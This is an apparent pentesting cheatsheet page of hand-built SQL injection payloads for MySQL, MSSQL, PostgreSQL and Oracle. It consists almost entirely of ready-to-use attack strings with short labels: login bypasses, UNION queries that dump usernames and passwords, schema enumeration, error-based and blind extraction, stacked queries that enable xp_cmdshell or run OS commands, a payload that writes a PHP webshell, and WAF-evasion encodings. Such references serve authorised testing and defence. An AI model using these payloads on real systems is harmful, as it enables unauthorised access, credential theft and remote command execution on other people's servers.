← All Cheatsheets
web-pentest

SQL Injection — Manual Payloads

Hand-built SQL injection payloads — auth bypass, UNION extraction, schema enum, error/blind/time-based, stacked-query RCE and WAF bypasses across MySQL, MSSQL, PostgreSQL and Oracle.

0 views May 2026 lazyhackers
Detection & Auth Bypass (6)
' OR '1'='1
Classic always-true authentication bypass
auth bypass
' OR 1=1-- -
Comment out the rest of the query
auth bypass
admin'-- -
Log in as a known user, comment the password check
auth login
") OR ("1"="1
Break out of a double-quote + parenthesis context
auth bypass
' OR 1=1#
MySQL hash-comment variant
auth mysql
'+OR+'x'='x
URL-friendly always-true
auth bypass
UNION-Based Extraction (6)
' ORDER BY 5-- -
Find the column count (increment until it errors)
union recon
' UNION SELECT NULL,NULL,NULL-- -
Match the column count with NULLs
union
' UNION SELECT 1,2,3-- -
Identify which columns are reflected
union
' UNION SELECT NULL,@@version,NULL-- -
Leak DB version (MySQL/MSSQL)
union version
' UNION SELECT username,password,3 FROM users-- -
Dump credentials
union dump
' UNION SELECT NULL,group_concat(username,0x3a,password),NULL FROM users-- -
Concatenate all creds into one row (MySQL)
union mysql
Schema Enumeration (5)
' UNION SELECT table_name,2,3 FROM information_schema.tables-- -
List all tables
enum schema
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -
List columns of a table
enum schema
' UNION SELECT schema_name,2,3 FROM information_schema.schemata-- -
List databases (MySQL)
enum mysql
' UNION SELECT banner,2,3 FROM v$version-- -
Oracle version banner
enum oracle
' UNION SELECT string_agg(table_name,','),2,3 FROM information_schema.tables-- -
List tables (PostgreSQL)
enum postgres
Error-Based (4)
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -
MySQL error-based leak (extractvalue)
error mysql
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
MySQL error-based leak (updatexml)
error mysql
' AND 1=convert(int,(SELECT @@version))-- -
MSSQL error-based type-cast leak
error mssql
' AND 1=cast((SELECT version()) as int)-- -
PostgreSQL error-based cast leak
error postgres
Blind — Boolean & Time (7)
' AND 1=1-- -
Boolean TRUE baseline
blind boolean
' AND 1=2-- -
Boolean FALSE baseline (diff the responses)
blind boolean
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -
Extract data one character at a time
blind boolean
' AND SLEEP(5)-- -
MySQL time-based delay
blind time mysql
' OR IF(1=1,SLEEP(5),0)-- -
MySQL conditional time delay
blind time mysql
'; WAITFOR DELAY '0:0:5'-- -
MSSQL time-based delay
blind time mssql
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -
PostgreSQL time-based delay
blind time postgres
Stacked Queries & RCE (4)
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE-- -
Enable xp_cmdshell on MSSQL
rce mssql
'; EXEC xp_cmdshell 'whoami'-- -
Run an OS command via MSSQL
rce mssql
'; COPY (SELECT '') TO PROGRAM 'id'-- -
PostgreSQL command exec via COPY TO PROGRAM
rce postgres
' UNION SELECT '<?php system($_GET[0]);?>',2,3 INTO OUTFILE '/var/www/html/s.php'-- -
MySQL write a webshell (needs FILE priv + writable path)
rce mysql webshell
WAF / Filter Bypass (6)
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- -
MySQL versioned-comment keyword bypass
waf mysql
' UnIoN sElEcT 1,2,3-- -
Mixed-case keyword bypass
waf
'/**/OR/**/1=1-- -
Inline comments instead of spaces
waf space
'%09OR%091=1-- -
Tab (%09) used as whitespace
waf space
' UNION ALL SELECT 1,2,3-- -
ALL keyword to dodge "UNION SELECT" signatures
waf
%2527%2520OR%25201=1
Double URL-encoded ' OR 1=1
waf encoding